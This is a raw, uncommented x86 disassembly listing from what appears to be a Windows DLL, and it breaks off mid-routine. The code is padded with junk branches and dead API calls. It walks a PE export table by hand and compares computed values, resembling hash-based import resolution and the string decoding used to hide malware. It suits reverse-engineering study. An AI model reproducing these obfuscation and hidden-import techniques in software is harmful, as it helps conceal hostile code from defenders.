mov dword [ebp - 0xd40], 0x667120dd
mov dword [ebp - 0x34], 0
jmp 0x1001d039
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1001d055
push dword [ebp - 0x34]
lea ecx, [ebp - 0xb64]
call fcn.10022272
mov dword [eax], 4
jmp 0x1001d032
mov dword [ebp - 0x34], 0
jmp 0x1001d065
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1001d07b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x4f0], 0x7c7ce53d
jmp 0x1001d05e
mov dword [ebp - 0x34], 0
jmp 0x1001d08b
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1001d0a7
push dword [ebp - 0x34]
lea ecx, [ebp - 0xfe4]
call fcn.10022272
mov dword [eax], 0x63ab1943
jmp 0x1001d084
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4f0], 0
jmp 0x1001d0d5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4f0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4f0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4f0], 0
jl 0x1001d0ff
mov byte [ebp - 0x176], 0
movzx eax, byte [ebp - 0x176]
test eax, eax
je 0x1001d0fd
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
jmp 0x1001d0ba
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
cmp dword [eax], 0xa7b5
jne 0x1001d120
mov dword [ebp - 0x8bc], 1
jmp 0x1001d127
and dword [ebp - 0x8bc], 0
cmp dword [ebp - 0x8bc], 1
je 0x1001d13c
mov dword [ebp - 0x8c4], 1
jmp 0x1001d143
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
add eax, 5
je 0x1001d16c
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
cmp dword [eax], 0
je 0x1001d16c
mov dword [ebp - 0x8cc], 1
jmp 0x1001d173
and dword [ebp - 0x8cc], 0
mov esi, dword [ebp - 0x8cc]
dec esi
dec esi
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
cmp dword [eax], esi
je 0x1001d198
mov dword [ebp - 0x8d4], 1
jmp 0x1001d19f
and dword [ebp - 0x8d4], 0
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
mov ecx, dword [ebp - 0x8d4]
cmp ecx, dword [eax]
jl 0x1001d1c2
mov dword [ebp - 0x8dc], 1
jmp 0x1001d1c9
and dword [ebp - 0x8dc], 0
push 4
pop eax
imul eax, eax, 0
push 0xfffffffffffffffe
pop ecx
sub ecx, dword [ebp + eax - 0x4f0]
mov dword [ebp - 0x410], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x410]
mov dword [ebp + eax - 0x4f0], ecx
push 0
lea ecx, [ebp - 0xfe4]
call fcn.10022272
mov ecx, dword [ebp - 0x410]
mov dword [eax], ecx
mov eax, dword [ebp - 0x410]
add eax, 0x266d210e
sub eax, dword [ebp - 0x8dc]
add eax, 0x14ab
cmp eax, 1
ja 0x1001d22e
mov dword [ebp - 0x8e4], 1
jmp 0x1001d235
and dword [ebp - 0x8e4], 0
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
mov ecx, dword [ebp - 0x8e4]
cmp ecx, dword [eax]
jle 0x1001d258
mov dword [ebp - 0x8ec], 1
jmp 0x1001d25f
and dword [ebp - 0x8ec], 0
push 0
lea ecx, [ebp - 0xb64]
call fcn.10022272
mov ecx, dword [ebp - 0x8ec]
cmp ecx, dword [eax]
jne 0x1001d282
mov dword [ebp - 0x8f4], 1
jmp 0x1001d289
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0xd40], eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0xfe4]
call fcn.10022230
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb64]
call fcn.10022230
lea eax, [ebp - 0x1250]
push eax
mov ecx, 0x106199e4
call fcn.1002224c
push eax
lea ecx, [ebp - 0x8fc]
call fcn.1002218e
movzx eax, al
test eax, eax
je 0x1001d2eb
lea ecx, [ebp - 0x8fc]
call fcn.100223e2
mov eax, dword [eax + 4]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x41c], 0xfffffffb
mov dword [ebp - 0xe4], 0x3ec3d4e7
mov dword [ebp - 0x21c], 0xd714
push 3
lea ecx, [ebp - 0xe2c]
call fcn.100221ae
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x1084], 1
mov dword [ebp - 0x96c], 0x204
mov dword [ebp - 0xe40], 4
mov dword [ebp - 0x2a0], 0xc8609e00
mov dword [ebp - 0x118c], 0
mov dword [ebp - 0x108c], 1
mov dword [ebp - 0x434], 0x950cf10
mov dword [ebp - 0xb8], 0
jmp 0x1001d37c
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x1001d398
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0xe0c], 0xc19c
jmp 0x1001d36f
mov dword [ebp - 0xb8], 0
jmp 0x1001d3b1
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x1001d3d3
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xe2c]
call fcn.10022272
mov dword [eax], 9
jmp 0x1001d3a4
mov dword [ebp - 0x41c], 0x6721
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0c]
mov dword [ebp - 0x121c], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1094], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0c]
cmp eax, dword [ebp - 0xe4]
je 0x1001d41d
mov dword [ebp - 0x904], 1
jmp 0x1001d424
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x904], eax
jge 0x1001d43e
mov dword [ebp - 0x414], 1
jmp 0x1001d445
and dword [ebp - 0x414], 0
push 0
lea ecx, [ebp - 0xe2c]
call fcn.10022272
mov ecx, dword [ebp - 0x414]
mov dword [eax], ecx
mov eax, dword [ebp - 0x41c]
cmp eax, dword [ebp - 0x414]
je 0x1001d474
mov dword [ebp - 0x90c], 1
jmp 0x1001d47b
and dword [ebp - 0x90c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe0c]
cmp eax, dword [ebp - 0x90c]
jne 0x1001d49c
mov dword [ebp - 0x914], 1
jmp 0x1001d4a3
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x914], eax
jge 0x1001d77d
mov dword [ebp - 0xf00], 6
mov dword [ebp - 0xefc], 6
mov dword [ebp - 0xef8], 6
mov dword [ebp - 0xef4], 6
lea ecx, [ebp - 0x48d]
call fcn.100222d4
push eax
lea eax, [ebp - 0xef0]
push eax
lea eax, [ebp - 0xf00]
push eax
lea ecx, [ebp - 0x1330]
call fcn.100222d7
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe1c]
call fcn.1002220a
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0x42c], 8
mov dword [ebp - 0xd48], 0xffffffff
mov dword [ebp - 0x954], 0xfffffff7
mov dword [ebp - 0xed4], 0x31c0a9c5
mov dword [ebp - 0xed0], 0x31c0a9c5
mov dword [ebp - 0xecc], 0x31c0a9c5
mov dword [ebp - 0xec8], 0x31c0a9c5
mov dword [ebp - 0x424], 0x87c7
mov dword [ebp - 0xde0], 0xe3a113d
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x1001d58a
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esi, dword [ebp - 0x42c]
push 0
lea ecx, [ebp - 0xe1c]
call fcn.10022272
cmp dword [eax], esi
jl 0x1001d5ad
mov dword [ebp - 0x91c], 1
jmp 0x1001d5b4
and dword [ebp - 0x91c], 0
cmp dword [ebp - 0x91c], 0xfffffffa
jae 0x1001d5c9
mov dword [ebp - 0x924], 1
jmp 0x1001d5d0
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x924]
mov dword [ebp - 0x41c], eax
mov esi, dword [ebp - 0xe40]
push 3
lea ecx, [ebp - 0xe1c]
call fcn.10022272
cmp dword [eax], esi
jle 0x1001d5ff
mov dword [ebp - 0x92c], 1
jmp 0x1001d606
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x92c]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x119c], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xed4]
mov dword [ebp - 0x109c], eax
mov eax, dword [ebp - 0x21c]
cmp eax, dword [ebp - 0xd48]
jl 0x1001d64b
mov dword [ebp - 0x934], 1
jmp 0x1001d652
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
push 2
lea ecx, [ebp - 0xe2c]
call fcn.10022272
mov eax, dword [eax]
mov ecx, dword [ebp - 0x934]
lea eax, [ecx + eax - 1]
cmp dword [ebp - 0x424], eax
jl 0x1001d68c
mov dword [ebp - 0x93c], 1
jmp 0x1001d693
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x93c]
sub eax, dword [ebp - 0x954]
mov dword [ebp - 0x42c], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp - 0x42c]
add esi, dword [ebp + eax - 0xe0c]
push 2
lea ecx, [ebp - 0xe1c]
call fcn.10022272
cmp esi, dword [eax]
jg 0x1001d6d5
mov dword [ebp - 0x944], 1
jmp 0x1001d6dc
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0xde0]
cmp dword [ebp - 0x944], eax
jne 0x1001d6f6
mov dword [ebp - 0x94c], 1
jmp 0x1001d6fd
and dword [ebp - 0x94c], 0
mov esi, dword [ebp - 0x94c]
sub esi, 0x3d19f82f
sub esi, dword [ebp - 0x96c]
push 3
lea ecx, [ebp - 0xe1c]
call fcn.10022272
imul esi, dword [eax]
test esi, esi
je 0x1001d73e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xed4], 0
je 0x1001d73e
mov dword [ebp - 0xbe0], 1
jmp 0x1001d745
and dword [ebp - 0xbe0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0c]
mov dword [ebp - 0x1274], eax
mov eax, dword [ebp - 0x21c]
add eax, 0x2b50d22
mov dword [ebp - 0x954], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xe1c]
call fcn.10022230
jmp 0x1001d83d
mov dword [ebp - 0x10a4], 0xfffffff8
mov dword [ebp - 0x11ac], 0xa5b7dff9
mov dword [ebp - 0x10ac], 0xfffffffb
mov dword [ebp - 0x95c], 0xfffa
mov dword [ebp - 0x298], 0
jmp 0x1001d7be
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 3
jge 0x1001d7da
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0x13cc], 0
jmp 0x1001d7b1
mov dword [ebp - 0xe4], 0
jmp 0x1001d7f3
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x34
jge 0x1001d83d
mov dword [ebp - 0x1224], 0x226f84b8
mov dword [ebp - 0x10b4], 0
mov dword [ebp - 0x11bc], 7
mov dword [ebp - 0x10bc], 1
mov dword [ebp - 0x1264], 0xffffffff
mov eax, dword [ebp - 0x95c]
dec eax
mov dword [ebp - 0x95c], eax
jmp 0x1001d7e6
mov eax, dword [ebp - 0x434]
dec eax
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x434]
jle 0x1001d864
mov dword [ebp - 0x964], 1
jmp 0x1001d86b
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x964]
sub ecx, eax
cmp ecx, dword [ebp - 0x96c]
jg 0x1001d893
mov dword [ebp - 0x974], 1
jmp 0x1001d89a
and dword [ebp - 0x974], 0
imul eax, dword [ebp - 0x974], 0x9a1a
cmp eax, 0xbbc0
jle 0x1001d8c7
push 0xfffffffffffffff9
pop eax
test eax, eax
je 0x1001d8c7
cmp dword [ebp - 0x21c], 0
je 0x1001d8c7
mov dword [ebp - 0x97c], 1
jmp 0x1001d8ce
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x97c]
jne 0x1001d8e8
mov dword [ebp - 0x984], 1
jmp 0x1001d8ef
and dword [ebp - 0x984], 0
cmp dword [ebp - 0x984], 0xffffffff
jl 0x1001d904
mov dword [ebp - 0x98c], 1
jmp 0x1001d90b
and dword [ebp - 0x98c], 0
cmp dword [ebp - 0x98c], 0x69fa
jle 0x1001d923
mov dword [ebp - 0x994], 1
jmp 0x1001d92a
and dword [ebp - 0x994], 0
push 1
lea ecx, [ebp - 0xe2c]
call fcn.10022272
mov ecx, dword [ebp - 0x994]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe2c]
call fcn.10022230
cmp dword [ebp - 0x1b8], 0xffffffff
jne 0x1001da77
mov ecx, 0x106199e4
call fcn.10022426
mov ecx, dword [ebp - 0xec]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x106199e4
call fcn.1002242a
and dword [ebp - 0x1b0], 0
jmp 0x1001d98f
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x1b0]
cmp ecx, dword [eax + 0x18]
jae 0x1001da77
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1b0]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x99c], eax
cmp dword [ebp - 0x99c], 0
je 0x1001da72
mov eax, dword [ebp - 0x99c]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1300]
call fcn.10022102
mov dword [ebp - 4], 0x3e
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1300]
call fcn.1000a30d
mov dword [ebp - 0x9a4], eax
movzx eax, byte [0x10619724]
test eax, eax
je 0x1001da20
mov ecx, 0x106199e4
call fcn.100223c4
movzx eax, al
test eax, eax
jne 0x1001da40
lea eax, [ebp - 0x9a4]
push eax
mov ecx, 0x106199e4
call fcn.100223e8
mov ecx, dword [ebp - 0x1b0]
mov dword [eax], ecx
mov byte [0x10619724], 1
cmp dword [ebp - 0x1b8], 0xffffffff
jne 0x1001da63
mov eax, dword [ebp - 0x9a4]
cmp eax, dword [ebp - 0x2a8]
jne 0x1001da63
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1b8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1300]
call fcn.10022131
jmp 0x1001d982
push 4
lea ecx, [ebp - 0x3c8]
call fcn.100221ae
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x160], 0xfffffff8
mov dword [ebp - 0x1e4], 0xb38e
mov dword [ebp - 0x168], 0x33ecdc0f
mov dword [ebp - 0x10c4], 0
mov dword [ebp - 0xbf4], 0x2a8f302d
mov dword [ebp - 0x2b0], 0
jmp 0x1001dad6
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 4
jge 0x1001daf8
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov dword [eax], 6
jmp 0x1001dac9
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov dword [eax], 0xd
jmp 0x1001db31
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov dword [ebp - 0x9ac], eax
mov eax, dword [ebp - 0x9ac]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x9ac]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
cmp dword [eax], 0xfffffff3
jne 0x1001ddab
mov dword [ebp - 0x43c], 0xffff
mov dword [ebp - 0x2b8], 0x45799333
mov eax, 0x2a831d26
test eax, eax
je 0x1001db87
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 0x43c]
inc ecx
mov dword [ebp - 0x43c], ecx
test eax, eax
je 0x1001db87
mov dword [ebp - 0x9e4], 1
jmp 0x1001db8e
and dword [ebp - 0x9e4], 0
push 1
lea ecx, [ebp - 0x3c8]
call fcn.10022272
cmp dword [eax], 0
jne 0x1001dbb2
cmp dword [ebp - 0x2b8], 0
jne 0x1001dbb2
and dword [ebp - 0x9b4], 0
jmp 0x1001dbbc
mov dword [ebp - 0x9b4], 1
mov eax, dword [ebp - 0x2b8]
cmp dword [ebp - 0x9b4], eax
jle 0x1001dbd6
mov dword [ebp - 0xbe4], 1
jmp 0x1001dbdd
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x11cc], eax
cmp dword [ebp - 0x2b8], 0xfffffffa
jne 0x1001dbfe
mov dword [ebp - 0x9bc], 1
jmp 0x1001dc05
and dword [ebp - 0x9bc], 0
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov ecx, dword [ebp - 0x9bc]
cmp ecx, dword [eax]
jge 0x1001dc2e
mov eax, 0x5900
test eax, eax
jne 0x1001dc2e
and dword [ebp - 0x9c4], 0
jmp 0x1001dc38
mov dword [ebp - 0x9c4], 1
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov esi, dword [ebp - 0x9c4]
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
cmp esi, dword [eax]
jg 0x1001dc6a
mov dword [ebp - 0x9cc], 1
jmp 0x1001dc71
and dword [ebp - 0x9cc], 0
cmp dword [ebp - 0x9cc], 0xc544087
jg 0x1001dc89
mov dword [ebp - 0x9d4], 1
jmp 0x1001dc90
and dword [ebp - 0x9d4], 0
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov ecx, dword [ebp - 0x9d4]
cmp ecx, dword [eax]
jne 0x1001dcb9
cmp dword [ebp - 0x2b8], 0
jne 0x1001dcb9
and dword [ebp - 0x9dc], 0
jmp 0x1001dcc3
mov dword [ebp - 0x9dc], 1
push 0
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov ecx, dword [ebp - 0x9dc]
cmp ecx, dword [eax]
jne 0x1001dce6
mov dword [ebp - 0x9ec], 1
jmp 0x1001dced
and dword [ebp - 0x9ec], 0
mov esi, dword [ebp - 0x9e4]
sub esi, dword [ebp - 0x9ec]
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
cmp esi, dword [eax]
je 0x1001dd16
mov dword [ebp - 0x9f4], 1
jmp 0x1001dd1d
and dword [ebp - 0x9f4], 0
cmp dword [ebp - 0x9f4], 0x2167
jl 0x1001dd35
mov dword [ebp - 0x9fc], 1
jmp 0x1001dd3c
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x160], eax
mov esi, dword [ebp - 0x160]
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
imul esi, dword [eax]
cmp esi, 0xea6801fc
je 0x1001dd72
mov dword [ebp - 0xa04], 1
jmp 0x1001dd79
and dword [ebp - 0xa04], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0xa04], eax
jg 0x1001dd93
mov dword [ebp - 0xa0c], 1
jmp 0x1001dd9a
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xa0c]
mov dword [ebp - 0x168], eax
jmp 0x1001db0d
mov dword [ebp - 0x160], 0
jmp 0x1001ddc4
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xfffffff9
jne 0x1001df90
mov dword [ebp - 0x528], 0xfffffffa
mov dword [ebp - 0x444], 0xcc9e520c
mov dword [ebp - 0x168], 0
jmp 0x1001ddfe
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xffffffe6
jne 0x1001df14
mov dword [ebp - 0x2c0], 0xffffffff
mov dword [ebp - 0xbec], 0xb296ad98
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x10cc], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x11e0], eax
mov eax, 0x4f6c
cmp eax, 0x11f6
jle 0x1001de4f
mov dword [ebp - 0xa1c], 1
jmp 0x1001de56
and dword [ebp - 0xa1c], 0
cmp dword [ebp - 0x2c0], 0xba52
jl 0x1001de6e
mov dword [ebp - 0xa14], 1
jmp 0x1001de75
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
cmp dword [ebp - 0xa1c], eax
je 0x1001de9b
mov dword [ebp - 0xa24], 1
jmp 0x1001dea2
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa24]
mov dword [ebp - 0xbec], eax
cmp dword [ebp - 0x168], 0x1e3c1dc0
jl 0x1001dec6
mov dword [ebp - 0xa2c], 1
jmp 0x1001decd
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0xa2c]
add eax, dword [ebp - 0xbf4]
jne 0x1001def3
cmp dword [ebp - 0x2c0], 0
jne 0x1001def3
and dword [ebp - 0xa34], 0
jmp 0x1001defd
mov dword [ebp - 0xa34], 1
mov eax, dword [ebp - 0xa34]
sub eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x444], eax
jmp 0x1001ddf1
mov dword [ebp - 0x1e4], 0
jmp 0x1001df2d
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x1a
jg 0x1001df8b
cmp dword [ebp - 0x528], 0xffff
jne 0x1001df4e
mov dword [ebp - 0x52c], 1
jmp 0x1001df55
and dword [ebp - 0x52c], 0
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10022272
mov ecx, dword [ebp - 0x52c]
mov dword [eax], ecx
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x1001df89
push 0
push 0xac3
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
jmp 0x1001df20
jmp 0x1001ddb7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c8]
call fcn.10022230
cmp dword [ebp + 0x10], 0
jne 0x1001dfce
cmp dword [ebp - 0x1b8], 0xffffffff
je 0x1001dfce
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1b8]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x9c], ax
push 1
lea ecx, [ebp - 0xb74]
call fcn.100221ae
mov dword [ebp - 4], 0x40
push 3
lea ecx, [ebp - 0xffc]
call fcn.100221ae
mov byte [ebp - 4], 0x41
mov dword [ebp - 0xbfc], 0x667120dd
mov dword [ebp - 0x18], 0
jmp 0x1001e00d
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1001e029
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb74]
call fcn.10022272
mov dword [eax], 4
jmp 0x1001e006
mov dword [ebp - 0x18], 0
jmp 0x1001e039
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1001e04f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4f8], 0x7c7ce53d
jmp 0x1001e032
mov dword [ebp - 0x18], 0
jmp 0x1001e05f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1001e07b
push dword [ebp - 0x18]
lea ecx, [ebp - 0xffc]
call fcn.10022272
mov dword [eax], 0x63ab1943
jmp 0x1001e058
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4f8], 0
jmp 0x1001e0a9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4f8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4f8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4f8], 0
jl 0x1001e0d3
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp - 0x17a]
test eax, eax
je 0x1001e0d1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
jmp 0x1001e08e
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
cmp dword [eax], 0xa7b5
jne 0x1001e0f4
mov dword [ebp - 0x534], 1
jmp 0x1001e0fb
and dword [ebp - 0x534], 0
cmp dword [ebp - 0x534], 1
je 0x1001e110
mov dword [ebp - 0x53c], 1
jmp 0x1001e117
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
add eax, 5
je 0x1001e140
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
cmp dword [eax], 0
je 0x1001e140
mov dword [ebp - 0x544], 1
jmp 0x1001e147
and dword [ebp - 0x544], 0
mov esi, dword [ebp - 0x544]
dec esi
dec esi
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
cmp dword [eax], esi
je 0x1001e16c
mov dword [ebp - 0x54c], 1
jmp 0x1001e173
and dword [ebp - 0x54c], 0
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
mov ecx, dword [ebp - 0x54c]
cmp ecx, dword [eax]
jl 0x1001e196
mov dword [ebp - 0x554], 1
jmp 0x1001e19d
and dword [ebp - 0x554], 0
push 4
pop eax
imul eax, eax, 0
push 0xfffffffffffffffe
pop ecx
sub ecx, dword [ebp + eax - 0x4f8]
mov dword [ebp - 0x44c], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x44c]
mov dword [ebp + eax - 0x4f8], ecx
push 0
lea ecx, [ebp - 0xffc]
call fcn.10022272
mov ecx, dword [ebp - 0x44c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44c]
add eax, 0x266d210e
sub eax, dword [ebp - 0x554]
add eax, 0x14ab
cmp eax, 1
ja 0x1001e202
mov dword [ebp - 0x55c], 1
jmp 0x1001e209
and dword [ebp - 0x55c], 0
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
mov ecx, dword [ebp - 0x55c]
cmp ecx, dword [eax]
jle 0x1001e22c
mov dword [ebp - 0x564], 1
jmp 0x1001e233
and dword [ebp - 0x564], 0
push 0
lea ecx, [ebp - 0xb74]
call fcn.10022272
mov ecx, dword [ebp - 0x564]
cmp ecx, dword [eax]
jne 0x1001e256
mov dword [ebp - 0x56c], 1
jmp 0x1001e25d
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0xbfc], eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0xffc]
call fcn.10022230
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb74]
call fcn.10022230
movzx eax, word [ebp - 0x9c]
cmp eax, 0xffff
je 0x1001e685
movzx eax, word [ebp - 0x9c]
mov ecx, dword [ebp - 0xec]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc04]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax]
mov dword [ebp - 0xf4], ecx
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xec]
jbe 0x1001e67a
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x228]
mov edx, dword [ebp - 0xec]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xf4], edx
jae 0x1001e67a
mov eax, dword [0x106199c0]
and eax, 2
jne 0x1001e332
mov eax, dword [0x106199c0]
or eax, 2
mov dword [0x106199c0], eax
mov dword [ebp - 4], 0x42
push 0x8e3
call fcn.1002c2a7
pop ecx
mov byte [0x10619980], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xd8], 2
mov byte [ebp - 0xd7], 0x46
mov byte [ebp - 0xd6], 0
mov byte [ebp - 0xd5], 8
mov byte [ebp - 0xd4], 1
mov byte [ebp - 0xd3], 8
mov byte [ebp - 0xd2], 1
mov byte [ebp - 0xd1], pe_nt_image_headers32
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xd8]
and eax, 0x2a
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xd8]
or ecx, 0x2a
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xd8]
mov byte [ebp + eax - 0x1c8], cl
mov dword [ebp - 0x44], 2
and dword [ebp - 0x2c8], 0
jmp 0x1001e3bb
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 8
jae 0x1001e471
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xd8]
lea eax, [eax + eax + 2]
